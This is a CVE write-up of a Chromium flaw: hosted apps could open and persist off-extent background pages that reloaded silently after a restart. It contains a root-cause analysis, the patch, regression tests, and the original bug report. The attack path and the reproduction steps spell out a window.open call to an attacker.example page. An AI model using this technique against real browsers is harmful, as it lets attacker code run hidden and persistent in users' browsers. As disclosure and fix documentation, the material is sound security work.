CVE-2026-87560
Overview
Background
- Hosted app
- a legacy packaged/hosted extension app whose reachable web pages are declared by a manifest
web_extent()(the"app": {"urls": [...]}list), so pages inside that extent run with the app’s identity. - `BackgroundContents`
- an invisible, persistent page a hosted app with the
backgroundpermission can spawn (e.g. viawindow.open(url, 'name', 'background')) and thatBackgroundContentsServicere-creates on browser startup from thekRegisteredBackgroundContentspreference. - `web_extent().MatchesURL(url)`
- the authorization predicate that answers whether a given
urlfalls within the hosted app’s declared extent; a page outside it is not part of the app. - `NavigationThrottle`
- a browser-process hook (
WillStartRequest/WillRedirectRequest) that canPROCEEDorBLOCK_REQUESTbefore a navigation commits, i.e. an authoritative, non-renderer enforcement point.
Root Cause Analysis
BackgroundContents could only ever navigate within its app’s extent, and the removed comment in BackgroundContents::PrimaryPageChanged states the (wrong) belief that this “is enforced in RenderView::decidePolicyForNavigation” — i.e. enforcement was delegated to the untrusted renderer, so the browser performed no extent check of its own. As a result a hosted app page could call window.open(target_url, name, 'background') with an off-extent (attacker-controlled) target_url; the browser created the background page, and OnBackgroundContentsNavigated unconditionally called RegisterBackgroundContents, persisting that off-extent URL into kRegisteredBackgroundContents. On the next startup LoadBackgroundContentsFromDictionary read the saved URL straight back and called LoadBackgroundContents with no extent validation, silently resurrecting an off-extent background page under the app’s registration. The invariant violated is that a hosted app’s background page must only ever load URLs inside web_extent(); the fix restores it with four browser-side web_extent().MatchesURL() gates (creation, live navigation, registration/persistence, and startup restore), all guarded by the enabled-by-default kBlockBackgroundContentsOffExtentNavigation feature. Because every gate runs in the browser process rather than the renderer, a compromised or malicious app page can no longer bypass it.RenderView::decidePolicyForNavigation) to keep a hosted app’s BackgroundContents inside its web_extent(), leaving the browser with no authorization check of its own; the fix moves that web_extent().MatchesURL() check into the browser at creation, navigation, registration, and restore.Attack Path
- Install/control a hosted app with `background`
The attacker gets a hosted app declaring a narrow
web_extent()(e.g.http://a.com/) and holding thebackgroundpermission loaded, then runs script on one of its in-extent pages. - Open an off-extent background page
From that page the script calls
window.open('http://attacker.example.com/…', 'bg', 'background'); pre-patch,CreateBackgroundContentscreated the page even though the target URL is outsideweb_extent(). - Persist the off-extent URL
OnBackgroundContentsNavigatedfired and calledRegisterBackgroundContents, writing the off-extent URL into thekRegisteredBackgroundContentspreference under the app’s id. - Silently resurrect on startup
On the next browser launch
LoadBackgroundContentsFromDictionaryread the saved URL and calledLoadBackgroundContentswith no extent check, reviving a persistent, invisible page pointing at the attacker-controlled URL registered against the hosted app. - Downstream escalation (inferred) Any further gain from an off-extent page persistently running under the hosted app’s registration is not demonstrated by the patch and is not asserted here.
Impact Assessment
background permission gains a persistent, invisible BackgroundContents window that loads an off-extent, attacker-chosen URL and is silently re-created across browser restarts, all in the browser-managed background-page context rather than confined to the app’s extent — a missing-authorization bug in the Browser (bug class AuthorizationError). Preconditions are a hosted app carrying the background permission plus the ability to run script on one of its in-extent pages. The vendor advisory rates this medium severity and does not report in-the-wild exploitation; NVD scores it CVSS 4.3. Any escalation beyond the persistent off-extent background page is (inferred), not established by the patch.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/browser/background/background_contents_navigation_throttle.cc |
modified | |
WillStartRequestchrome/browser/background/background_contents_navigation_throttle.cc |
modified | |
WillRedirectRequestchrome/browser/background/background_contents_navigation_throttle.cc |
modified | |
WillStartOrRedirectRequestchrome/browser/background/background_contents_navigation_throttle.cc |
modified | |
NavigationThrottleRegistrychrome/browser/background/background_contents_navigation_throttle.h |
modified | |
BackgroundContentsNavigationThrottlechrome/browser/background/background_contents_navigation_throttle.h |
modified | |
forchrome/browser/background/background_contents_service.cc |
modified | |
ifchrome/browser/background/background_contents_service.cc |
modified | |
ifchrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc |
modified |
Files Changed
chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.ccchrome/browser/extensions/app_background_page_apitest.ccchrome/browser/background/background_contents_navigation_throttle.hchrome/browser/background/background_contents_service_unittest.ccchrome/browser/background/background_contents_service.ccextensions/common/extension_features.ccchrome/browser/background/background_contents_navigation_throttle.ccchrome/browser/background/background_contents.ccchrome/browser/background/BUILD.gnchrome/browser/background/background_contents_service.hextensions/common/extension_features.hchrome/browser/BUILD.gnchrome/browser/chrome_content_browser_client_navigation_throttles.cc
Audit Directions
- Renderer-trusted policy checksSearch for comments/code claiming a security decision “is enforced in” a renderer path (e.g.
decidePolicyForNavigation); such delegated authorization is bypassable by a compromised renderer and should be re-checked in the browser. - Persisted URLs restored without re-validationAudit other preference/session-restore loaders (like
LoadBackgroundContentsFromDictionaryreadingkRegisteredBackgroundContents) that reload stored URLs on startup, since a value validated at write time can be poisoned or become stale and must be re-checked at read time. - Extent/origin scoping for app-spawned surfacesReview every place a hosted app or extension can create or navigate a surface (
window.opentargets, popups, background pages) to confirmweb_extent().MatchesURL()(or the equivalent origin check) is applied at creation, navigation, and persistence, not just one of them.
Patch
From 2c850898c887b93e039cd8557ced79fd3f1f3c39 Mon Sep 17 00:00:00 2001 From: Jan Keitel <[email protected]> Date: Fri, 14 Aug 2026 01:28:50 -0700 Subject: [PATCH] Enforce web extent on hosted app BackgroundContents Previously, a hosted app with the background permission could open a background contents window to an off-extent target URL via window.open(url, 'name', 'background'). The target URL would be saved in kRegisteredBackgroundContents preferences and reloaded without extent validation on browser startup. This CL implements a 4-layer defense-in-depth fix: 1. In Browser::CreateBackgroundContents, reject target URLs that are outside the hosted app's manifest web_extent(). 2. In BackgroundContentsNavigationThrottle, intercept and block main-frame navigations outside web_extent(). 3. In OnBackgroundContentsNavigated, verify extent before registering in preferences and unregister if off-extent. 4. In LoadBackgroundContentsFromDictionary, check extent before restoring saved preference URLs on startup. TAG=agy CONV=dda136c7-b0bc-4856-a8dc-3e0b48d7c407 Bug: 511824746 Change-Id: I88bfc6018376f02a5138dfb96e707c014d46620e Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8175450 Reviewed-by: Devlin Cronin <[email protected]> Commit-Queue: Jan Keitel <[email protected]> Cr-Commit-Position: refs/heads/main@{#1679423} --- diff --git a/chrome/browser/background/background_contents.cc b/chrome/browser/background/background_contents.cc index abe93700..12c5cbc 100644 --- a/chrome/browser/background/background_contents.cc +++ b/chrome/browser/background/background_contents.cc @@ -98,13 +98,15 @@ } void BackgroundContents::PrimaryPageChanged(content::Page& page) { - // Note: because BackgroundContents are only available to extension apps, + // Note: Because `BackgroundContents` are only available to extension apps, // navigation is limited to urls within the app's extent. This is enforced in - // RenderView::decidePolicyForNavigation. If BackgroundContents become - // available as a part of the web platform, it probably makes sense to have - // some way to scope navigation of a background page to its opener's security - // origin. Note: if the first navigation is to a URL outside the app's - // extent a background page will be opened but will remain at about:blank. + // `Browser::CreateBackgroundContents`, + // `BackgroundContentsNavigationThrottle`, and `BackgroundContentsService`. If + // `BackgroundContents` become available as a part of the web platform, it + // probably makes sense to have some way to scope navigation of a background + // page to its opener's security origin. Note: if the first navigation is to a + // URL outside the app's extent a background page will be opened but will + // remain at about:blank. delegate_->OnBackgroundContentsNavigated(this); } diff --git a/chrome/browser/background/background_contents_navigation_throttle.cc b/chrome/browser/background/background_contents_navigation_throttle.cc new file mode 100644 index 0000000..99d287d --- /dev/null +++ b/chrome/browser/background/background_contents_navigation_throttle.cc @@ -0,0 +1,103 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include "chrome/browser/background/background_contents_navigation_throttle.h" + +#include <memory> + +#include "base/feature_list.h" +#include "chrome/browser/background/background_contents_service.h" +#include "chrome/browser/background/background_contents_service_factory.h" +#include "chrome/browser/profiles/profile.h" +#include "content/public/browser/navigation_handle.h" +#include "content/public/browser/web_contents.h" +#include "content/public/common/url_constants.h" +#include "extensions/browser/extension_registry.h" +#include "extensions/common/extension.h" +#include "extensions/common/extension_features.h" +#include "url/gurl.h" + +// static +void BackgroundContentsNavigationThrottle::MaybeCreateAndAdd( + content::NavigationThrottleRegistry& registry) { + if (!base::FeatureList::IsEnabled( + extensions_features::kBlockBackgroundContentsOffExtentNavigation)) { + return; + } + + content::NavigationHandle& handle = registry.GetNavigationHandle(); + if (!handle.IsInMainFrame()) { + return; + } + + content::WebContents* const web_contents = handle.GetWebContents(); + if (!web_contents) { + return; + } + + BackgroundContentsService* const service = + BackgroundContentsServiceFactory::GetForProfile( + Profile::FromBrowserContext(web_contents->GetBrowserContext())); + if (!service || !service->IsTracked(web_contents)) { + return; + } + + registry.AddThrottle( + std::make_unique<BackgroundContentsNavigationThrottle>(registry)); +} + +BackgroundContentsNavigationThrottle::BackgroundContentsNavigationThrottle( + content::NavigationThrottleRegistry& registry) + : content::NavigationThrottle(registry) {} + +BackgroundContentsNavigationThrottle::~BackgroundContentsNavigationThrottle() = + default; + +content::NavigationThrottle::ThrottleCheckResult +BackgroundContentsNavigationThrottle::WillStartRequest() { + return WillStartOrRedirectRequest(); +} + +content::NavigationThrottle::ThrottleCheckResult +BackgroundContentsNavigationThrottle::WillRedirectRequest() { + return WillStartOrRedirectRequest(); +} + +const char* BackgroundContentsNavigationThrottle::GetNameForLogging() { + return "BackgroundContentsNavigationThrottle"; +} + +content::NavigationThrottle::ThrottleCheckResult +BackgroundContentsNavigationThrottle::WillStartOrRedirectRequest() { + content::WebContents* const web_contents = + navigation_handle()->GetWebContents(); + Profile* const profile = + Profile::FromBrowserContext(web_contents->GetBrowserContext()); + BackgroundContentsService* const service = + BackgroundContentsServiceFactory::GetForProfile(profile); + + const std::string& appid = service->GetParentApplicationId(web_contents); + if (appid.empty()) { + return content::NavigationThrottle::PROCEED; + } + + extensions::ExtensionRegistry* const registry = + extensions::ExtensionRegistry::Get(profile); + const extensions::Extension* const extension = + registry->enabled_extensions().GetByID(appid); + if (!extension) { + return content::NavigationThrottle::BLOCK_REQUEST; + } + + const GURL& url = navigation_handle()->GetURL(); + if (url.is_empty() || url.SchemeIs(url::kAboutScheme)) { + return content::NavigationThrottle::PROCEED; + } + + if (!extension->web_extent().MatchesURL(url)) { + return content::NavigationThrottle::BLOCK_REQUEST; + } + + return content::NavigationThrottle::PROCEED; +} diff --git a/chrome/browser/background/background_contents_navigation_throttle.h b/chrome/browser/background/background_contents_navigation_throttle.h new file mode 100644 index 0000000..9256bf12 --- /dev/null +++ b/chrome/browser/background/background_contents_navigation_throttle.h @@ -0,0 +1,38 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#ifndef CHROME_BROWSER_BACKGROUND_BACKGROUND_CONTENTS_NAVIGATION_THROTTLE_H_ +#define CHROME_BROWSER_BACKGROUND_BACKGROUND_CONTENTS_NAVIGATION_THROTTLE_H_ + +#include "content/public/browser/navigation_throttle.h" + +namespace content { +class NavigationThrottleRegistry; +} // namespace content + +// NavigationThrottle for BackgroundContents that blocks any main-frame +// navigation or redirect to a URL outside the parent hosted app's web extent. +class BackgroundContentsNavigationThrottle + : public content::NavigationThrottle { + public: + static void MaybeCreateAndAdd(content::NavigationThrottleRegistry& registry); + + explicit BackgroundContentsNavigationThrottle( + content::NavigationThrottleRegistry& registry); + BackgroundContentsNavigationThrottle( + const BackgroundContentsNavigationThrottle&) = delete; + BackgroundContentsNavigationThrottle& operator=( + const BackgroundContentsNavigationThrottle&) = delete; + ~BackgroundContentsNavigationThrottle() override; + + // content::NavigationThrottle: + ThrottleCheckResult WillStartRequest() override; + ThrottleCheckResult WillRedirectRequest() override; + const char* GetNameForLogging() override; + + private: + ThrottleCheckResult WillStartOrRedirectRequest(); +}; + +#endif // CHROME_BROWSER_BACKGROUND_BACKGROUND_CONTENTS_NAVIGATION_THROTTLE_H_ diff --git a/chrome/browser/background/background_contents_service.cc b/chrome/browser/background/background_contents_service.cc index 15014ddaa..1590055 100644 --- a/chrome/browser/background/background_contents_service.cc +++ b/chrome/browser/background/background_contents_service.cc @@ -48,6 +48,7 @@ #include "extensions/browser/image_loader.h" #include "extensions/common/constants.h" #include "extensions/common/extension.h" +#include "extensions/common/extension_features.h" #include "extensions/common/extension_id.h" #include "extensions/common/extension_set.h" #include "extensions/common/icons/extension_icon_set.h" @@ -516,7 +517,17 @@ std::string frame_name = maybe_frame_name ? *maybe_frame_name : std::string(); std::string url = maybe_url ? *maybe_url : std::string(); - LoadBackgroundContents(GURL(url), frame_name, extension_id); + GURL gurl(url); + const Extension* extension = extensions::ExtensionRegistry::Get(profile_) + ->enabled_extensions() + .GetByID(extension_id); + if (base::FeatureList::IsEnabled( + extensions_features::kBlockBackgroundContentsOffExtentNavigation) && + extension && !extension->web_extent().MatchesURL(gurl)) { + return; + } + + LoadBackgroundContents(gurl, frame_name, extension_id); } void BackgroundContentsService::LoadBackgroundContentsFromManifests() { @@ -653,6 +664,11 @@ return !GetParentApplicationId(background_contents).empty(); } +bool BackgroundContentsService::IsTracked( + content::WebContents* web_contents) const { + return !GetParentApplicationId(web_contents).empty(); +} + void BackgroundContentsService::AddObserver( BackgroundContentsServiceObserver* observer) { observers_.AddObserver(observer); @@ -678,6 +694,17 @@ return base::EmptyString(); } +const std::string& BackgroundContentsService::GetParentApplicationId( + content::WebContents* contents) const { + for (const auto& [id, background_contents_info] : contents_map_) { + if (background_contents_info.contents && + background_contents_info.contents->web_contents() == contents) { + return id; + } + } + return base::EmptyString(); +} + void BackgroundContentsService::AddWebContents( std::unique_ptr<WebContents> new_contents, const GURL& target_url, @@ -705,8 +732,17 @@ extensions::ExtensionRegistry::Get(profile_); const Extension* extension = extension_registry->enabled_extensions().GetByID(appid); - if (extension && BackgroundInfo::HasBackgroundPage(extension)) - return; + if (extension) { + if (BackgroundInfo::HasBackgroundPage(extension)) { + return; + } + if (base::FeatureList::IsEnabled( + extensions_features::kBlockBackgroundContentsOffExtentNavigation) && + !extension->web_extent().MatchesURL(contents->GetURL())) { + UnregisterBackgroundContents(contents); + return; + } + } RegisterBackgroundContents(contents); } diff --git a/chrome/browser/background/background_contents_service.h b/chrome/browser/background/background_contents_service.h index 63331ac..7e41f41a 100644 --- a/chrome/browser/background/background_contents_service.h +++ b/chrome/browser/background/background_contents_service.h @@ -117,6 +117,12 @@ // an empty string if no parent application found (e.g. passed // BackgroundContents has already shut down). const std::string& GetParentApplicationId(BackgroundContents* contents) const; + const std::string& GetParentApplicationId( + content::WebContents* contents) const; + + // Returns true if this BackgroundContents is in the contents_list_. + bool IsTracked(BackgroundContents* contents) const; + bool IsTracked(content::WebContents* contents) const; // Creates a new BackgroundContents using the passed |site| and // begins tracking the object internally so it can be shutdown if the parent @@ -217,9 +223,6 @@ // passed extension. void ShutdownAssociatedBackgroundContents(const std::string& appid); - // Returns true if this BackgroundContents is in the contents_list_. - bool IsTracked(BackgroundContents* contents) const; - // Sends out a notification when our association of background contents with // apps may have changed (used by BackgroundApplicationListModel to update the // set of background apps as new background contents are opened/closed). diff --git a/chrome/browser/chrome_content_browser_client_navigation_throttles.cc b/chrome/browser/chrome_content_browser_client_navigation_throttles.cc index 67c86b09..3530884 100644 --- a/chrome/browser/chrome_content_browser_client_navigation_throttles.cc +++ b/chrome/browser/chrome_content_browser_client_navigation_throttles.cc @@ -90,6 +90,7 @@ #endif // BUILDFLAG(DFMIFY_DEV_UI) #else // BUILDFLAG(IS_ANDROID) +#include "chrome/browser/background/background_contents_navigation_throttle.h" #include "chrome/browser/devtools/devtools_navigation_throttle.h" #include "chrome/browser/page_info/web_view_side_panel_throttle.h" #include "chrome/browser/themes/theme_service_factory.h" @@ -601,6 +602,7 @@ data_sharing::DataSharingNavigationThrottle::MaybeCreateAndAdd(registry); #if !BUILDFLAG(IS_ANDROID) + BackgroundContentsNavigationThrottle::MaybeCreateAndAdd(registry); web_app::IsolatedWebAppThrottle::MaybeCreateAndAdd(registry); DevToolsNavigationThrottle::MaybeCreateAndAdd(registry); #endif // !BUILDFLAG(IS_ANDROID) diff --git a/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc b/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc index 7c02d3d0..3ce8fef 100644 --- a/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc +++ b/chrome/browser/ui/browser_web_contents_delegate/browser_web_contents_delegate.cc @@ -87,6 +87,7 @@ #include "extensions/browser/process_map.h" #include "extensions/common/constants.h" #include "extensions/common/extension.h" +#include "extensions/common/extension_features.h" #include "extensions/common/manifest_handlers/background_info.h" #include "third_party/blink/public/common/manifest/manifest.h" #include "third_party/blink/public/common/page/drag_operation.h" @@ -195,6 +196,19 @@ extensions::ExtensionRegistry::Get(profile) ->enabled_extensions() .GetHostedAppByURL(opener_url); + + if (!extension) { + return nullptr; + } + + // Background content URLs need to be part of the extension's web extent or be + // blank. + if (base::FeatureList::IsEnabled( + extensions_features::kBlockBackgroundContentsOffExtentNavigation) && + !target_url.is_empty() && !target_url.SchemeIs(url::kAboutScheme) && + !extension->web_extent().MatchesURL(target_url)) { + return nullptr; + } bool allow_js_access = extensions::BackgroundInfo::AllowJSAccess(extension); // Only allow a single background contents per app. BackgroundContents* existing = diff --git a/extensions/common/extension_features.cc b/extensions/common/extension_features.cc index 959ccae..30be474 100644 --- a/extensions/common/extension_features.cc +++ b/extensions/common/extension_features.cc @@ -105,6 +105,9 @@ BASE_FEATURE(kAllowWithholdingExtensionPermissionsOnInstall, base::FEATURE_DISABLED_BY_DEFAULT); +BASE_FEATURE(kBlockBackgroundContentsOffExtentNavigation, + base::FEATURE_ENABLED_BY_DEFAULT); + BASE_FEATURE(kCheckingNoExtensionIdInExtensionIpcs, "EMF_NO_EXTENSION_ID_FOR_EXTENSION_SOURCE", base::FEATURE_ENABLED_BY_DEFAULT); diff --git a/extensions/common/extension_features.h b/extensions/common/extension_features.h index 369d265e..149da03 100644 --- a/extensions/common/extension_features.h +++ b/extensions/common/extension_features.h @@ -132,6 +132,11 @@ // requested host permissions by default. BASE_DECLARE_FEATURE(kAllowWithholdingExtensionPermissionsOnInstall); +// If enabled, navigations and window.open calls to URLs outside a hosted app's +// web extent in background contents are blocked and not persisted to prefs. +// TODO(crbug.com/511824746): Clean up in M156. +BASE_DECLARE_FEATURE(kBlockBackgroundContentsOffExtentNavigation); + // When enabled, then bad_message::ReceivedBadMessage will be called when // browser receives an IPC from a content script and the IPC that unexpectedly // claims to act on behalf of a given extension id, (i.e. even if the browser
Regression Test / PoC
diff --git a/chrome/browser/background/background_contents_service_unittest.cc b/chrome/browser/background/background_contents_service_unittest.cc
index ee7d3e5..d80b14a7 100644
--- a/chrome/browser/background/background_contents_service_unittest.cc
+++ b/chrome/browser/background/background_contents_service_unittest.cc
@@ -11,6 +11,7 @@
#include "base/functional/callback.h"
#include "base/memory/raw_ptr.h"
#include "base/run_loop.h"
+#include "base/strings/stringprintf.h"
#include "base/test/run_until.h"
#include "base/threading/thread_restrictions.h"
#include "base/values.h"
@@ -27,7 +28,9 @@
#include "components/prefs/pref_service.h"
#include "components/prefs/scoped_user_pref_update.h"
#include "content/public/test/browser_task_environment.h"
+#include "extensions/browser/extension_registry.h"
#include "extensions/common/extension.h"
+#include "extensions/common/extension_builder.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "url/gurl.h"
@@ -121,6 +124,18 @@
return contents_ptr;
}
+ scoped_refptr<const extensions::Extension> CreateHostedApp(
+ const std::string& name,
+ const GURL& url) {
+ std::string json = base::StringPrintf(
+ R"("app": {"urls": ["%s"], "launch": {"web_url": "%s"}})",
+ url.spec().c_str(), url.spec().c_str());
+ scoped_refptr<const extensions::Extension> extension =
+ extensions::ExtensionBuilder(name).AddJSON(json).Build();
+ extensions::ExtensionRegistry::Get(profile_)->AddEnabled(extension);
+ return extension;
+ }
+
protected:
content::BrowserTaskEnvironment task_environment_{
content::BrowserTaskEnvironment::TimeSource::MOCK_TIME};
@@ -260,9 +275,10 @@
TEST_F(BackgroundContentsServiceTest, RestoreFromPrefs) {
BackgroundContentsService service(profile_);
- // Manually set up the preference.
- const std::string appid = "appid";
const GURL expected_url("http://www.google.com/test");
+ scoped_refptr<const extensions::Extension> extension =
+ CreateHostedApp("test_app", expected_url);
+ const std::string appid = extension->id();
{
ScopedDictPrefUpdate update(profile_->GetPrefs(),
@@ -280,3 +296,49 @@
ASSERT_TRUE(contents);
EXPECT_EQ(expected_url, contents->GetInitialURLForTesting());
}
+
+// Tests that background contents stored in prefs with an off-extent URL are
+// ignored on restore.
+TEST_F(BackgroundContentsServiceTest, RestoreFromPrefsIgnoresUrlOutsideExtent) {
+ BackgroundContentsService service(profile_);
+
+ const GURL in_extent_url("http://www.google.com/test");
+ const GURL out_of_extent_url("http://attacker.example.com/test");
+ scoped_refptr<const extensions::Extension> extension =
+ CreateHostedApp("test_app", in_extent_url);
+ const std::string appid = extension->id();
+
+ {
+ ScopedDictPrefUpdate update(profile_->GetPrefs(),
+ prefs::kRegisteredBackgroundContents);
+ base::DictValue dict;
+ dict.Set("url", out_of_extent_url.spec());
+ dict.Set("name", "test_frame");
+ update->Set(appid, std::move(dict));
+ }
+
+ service.LoadBackgroundContentsForExtension(appid);
+
+ BackgroundContents* contents = service.GetAppBackgroundContents(appid);
+ EXPECT_FALSE(contents);
+}
+
+// Tests that navigating background contents to an off-extent URL unregisters it
+// from prefs.
+TEST_F(BackgroundContentsServiceTest, NavigatedUrlOutsideExtentNotRegistered) {
+ BackgroundContentsService service(profile_);
+
+ const GURL in_extent_url("http://www.google.com/test");
+ const GURL out_of_extent_url("http://attacker.example.com/test");
+ scoped_refptr<const extensions::Extension> extension =
+ CreateHostedApp("test_app", in_extent_url);
+ const std::string appid = extension->id();
+
+ auto owned_contents =
+ std::make_unique<MockBackgroundContents>(&service, appid);
+ EXPECT_EQ(GetPrefs(profile_).size(), 0u);
+ auto* contents = AddToService(std::move(owned_contents));
+
+ contents->Navigate(out_of_extent_url);
+ EXPECT_EQ(GetPrefs(profile_).size(), 0u);
+}
diff --git a/chrome/browser/extensions/app_background_page_apitest.cc b/chrome/browser/extensions/app_background_page_apitest.cc
index 1cfa1ff6..8bb944d 100644
--- a/chrome/browser/extensions/app_background_page_apitest.cc
+++ b/chrome/browser/extensions/app_background_page_apitest.cc
@@ -30,15 +30,18 @@
#include "chrome/browser/ui/dialogs/browser_dialogs.h"
#include "chrome/browser/ui/extensions/application_launch.h"
#include "chrome/common/chrome_paths.h"
+#include "chrome/test/base/ui_test_utils.h"
#include "components/embedder_support/switches.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/test/browser_test.h"
#include "content/public/test/browser_test_utils.h"
+#include "content/public/test/test_navigation_observer.h"
#include "content/public/test/test_utils.h"
#include "extensions/browser/process_manager.h"
#include "extensions/common/extension.h"
#include "extensions/common/switches.h"
#include "extensions/test/extension_test_message_listener.h"
+#include "net/base/net_errors.h"
#include "net/dns/mock_host_resolver.h"
#include "net/test/embedded_test_server/embedded_test_server.h"
#include "testing/gmock/include/gmock/gmock.h"
@@ -601,3 +604,111 @@
content::RunAllPendingInMessageLoop();
ASSERT_TRUE(VerifyBackgroundMode(false));
}
+
+// Tests that opening a background contents window with an off-extent target
+// URL is blocked.
+IN_PROC_BROWSER_TEST_F(AppBackgroundPageApiTest,
+ NoJsBackgroundPageTargetOutsideExtent) {
+ const std::string app_manifest = base::StringPrintf(
+ R"({
+ "name": "App",
+ "version": "0.1",
+ "manifest_version": 2,
+ "app": {
+ "urls": [
+ "http://a.com/"
+ ],
+ "launch": {
+ "web_url": "http://a.com:%u/empty.html"
+ }
+ },
+ "permissions": ["background"],
+ "background": {
+ "allow_js_access": false
+ }
+ })",
+ embedded_test_server()->port());
+
+ base::FilePath app_dir;
+ ASSERT_TRUE(CreateApp(app_manifest, &app_dir));
+ ASSERT_TRUE(LoadExtension(app_dir));
+
+ const Extension* extension = GetSingleLoadedExtension();
+ ASSERT_TRUE(extension);
+
+ GURL launch_url = embedded_test_server()->GetURL("a.com", "/empty.html");
+ ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), launch_url));
+
+ GURL out_of_extent_url =
+ embedded_test_server()->GetURL("b.com", "/empty.html");
+ std::string script =
+ base::StringPrintf("window.open('%s', 'bg', 'background') == null;",
+ out_of_extent_url.spec().c_str());
+ EXPECT_EQ(content::EvalJs(
+ browser()->tab_strip_model()->GetActiveWebContents(), script),
+ true);
+
+ EXPECT_FALSE(BackgroundContentsServiceFactory::GetForProfile(profile())
+ ->GetAppBackgroundContents(extension->id()));
+ UnloadExtension(extension->id());
+}
+
+// Tests that navigating an existing background contents window to an
+// off-extent URL is blocked.
+IN_PROC_BROWSER_TEST_F(AppBackgroundPageApiTest,
+ NoJsBackgroundPageNavigateOutsideExtent) {
+ const std::string app_manifest = base::StringPrintf(
+ R"({
+ "name": "App",
+ "version": "0.1",
+ "manifest_version": 2,
+ "app": {
+ "urls": [
+ "http://a.com/"
+ ],
+ "launch": {
+ "web_url": "http://a.com:%u/empty.html"
+ }
+ },
+ "permissions": ["background"],
+ "background": {
+ "allow_js_access": false
+ }
+ })",
+ embedded_test_server()->port());
+
+ base::FilePath app_dir;
+ ASSERT_TRUE(CreateApp(app_manifest, &app_dir));
+ ASSERT_TRUE(LoadExtension(app_dir));
+
+ const Extension* extension = GetSingleLoadedExtension();
+ ASSERT_TRUE(extension);
+
+ BackgroundContentsTestWaiter background_waiter(profile());
+ GURL launch_url = embedded_test_server()->GetURL("a.com", "/empty.html");
+ ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), launch_url));
+
+ std::string open_script = base::StringPrintf(
+ "window.open('%s', 'bg', 'background');", launch_url.spec().c_str());
+ EXPECT_TRUE(content::ExecJs(
+ browser()->tab_strip_model()->GetActiveWebContents(), open_script));
+ background_waiter.WaitForBackgroundContents(extension->id());
+
+ BackgroundContents* background_contents =
+ BackgroundContentsServiceFactory::GetForProfile(profile())
+ ->GetAppBackgroundContents(extension->id());
+ ASSERT_TRUE(background_contents);
+
+ GURL out_of_extent_url =
+ embedded_test_server()->GetURL("b.com", "/empty.html");
+ std::string nav_script = base::StringPrintf("window.location.href = '%s';",
+ out_of_extent_url.spec().c_str());
+ content::TestNavigationObserver nav_observer(
+ background_contents->web_contents());
+ EXPECT_TRUE(content::ExecJs(background_contents->web_contents(), nav_script));
+ nav_observer.Wait();
+
+ EXPECT_FALSE(nav_observer.last_navigation_succeeded());
+ EXPECT_EQ(net::ERR_BLOCKED_BY_CLIENT, nav_observer.last_net_error_code());
+ UnloadExtension(extension->id());
+}
Original Bug Report
BackgroundContents missing web_extent check for cross-origin persistence
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A logic flaw in BackgroundContents allows hosted apps with the ‘background’ permission to navigate to and persist arbitrary cross-origin URLs. Because browser-side checks do not validate the navigation target against the app’s web_extent, the cross-origin URL is saved to user preferences and silently reloaded in the background on browser restarts.
Affected files:
chrome/browser/background/background_contents_service.ccchrome/browser/ui/browser.ccchrome/browser/background/background_contents.ccchrome/browser/chrome_content_browser_client.cc
Estimated timestamp from git blame: 2026-04-29
Background
Hosted apps with the background permission can create an invisible BackgroundContents window (e.g., via window.open(url, 'name', 'background')). By design, navigations within this window are supposed to be restricted to the URLs defined in the app’s web_extent. A legacy comment in chrome/browser/background/background_contents.cc indicates this was previously enforced by renderer-side logic (RenderView::decidePolicyForNavigation). However, that renderer-side check has been removed, and no corresponding browser-side validation (such as a NavigationThrottle or an explicit check during persistence) was implemented to replace it.
Vulnerability Details
An attacker can exploit this missing validation to achieve stealthy cross-origin persistence:
- Missing Navigation Restrictions: When a hosted app calls
window.open(target_url, 'name', 'background'),ChromeContentBrowserClient::CanCreateWindowverifies the opener has thebackgroundpermission but does not check iftarget_urlis within the app’sweb_extent. The browser returns a newWebContentsto the renderer, allowing the renderer to initiate the cross-origin navigation. - Unverified Persistence: When the cross-origin navigation successfully commits,
BackgroundContents::PrimaryPageChangednotifiesBackgroundContentsService. The service callsRegisterBackgroundContents, which extracts the currently committed URL and saves it to the user’sPreferencesfile underprefs::kRegisteredBackgroundContents. It performs no validation to ensure the URL belongs to the app. - Automatic Reload on Restart: Upon restarting the browser,
BackgroundContentsServicereads the cross-origin URL fromPreferencesand automatically initiates a browser-initiated navigation to load it in an invisible background window.
This flaw allows an attacker (via a malicious hosted app or XSS in a legitimate one) to silently run code from an arbitrary web origin in the background indefinitely.
Note: Highly privileged URLs (like chrome://) cannot be targeted due to standard FilterURL and renderer-initiated navigation blocking mechanisms. The impact is limited to standard web origins running in site-isolated processes.
Potential Reproduction Steps
Please note these are theoretical steps based on source code analysis, as our tooling agent cannot execute code to verify them.
- Install a hosted app with the
backgroundpermission and a definedweb_extent(e.g.,https://app.example/). - Navigate to a page within the app’s extent.
- Execute
window.open('https://attacker.example/malicious.html', 'bg', 'background')from the app page. - Observe that an invisible
BackgroundContentsis created and loads the cross-origin URL. - The URL is written to
Preferences(prefs::kRegisteredBackgroundContents). - Restart Chrome. The browser will automatically reload
https://attacker.example/malicious.htmlin the background.
Suggested Fix
- Enforce Navigation Limits: Introduce a
NavigationThrottlespecifically forBackgroundContents(or updateExtensionNavigationThrottle) to block navigations to URLs outside the hosted app’sweb_extent. - Sanitize Persistence: Update
BackgroundContentsService::OnBackgroundContentsNavigatedorRegisterBackgroundContentsto explicitly verify thatbackground_contents->GetURL()is within the extension’sweb_extentbefore saving it toPreferences.
Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955
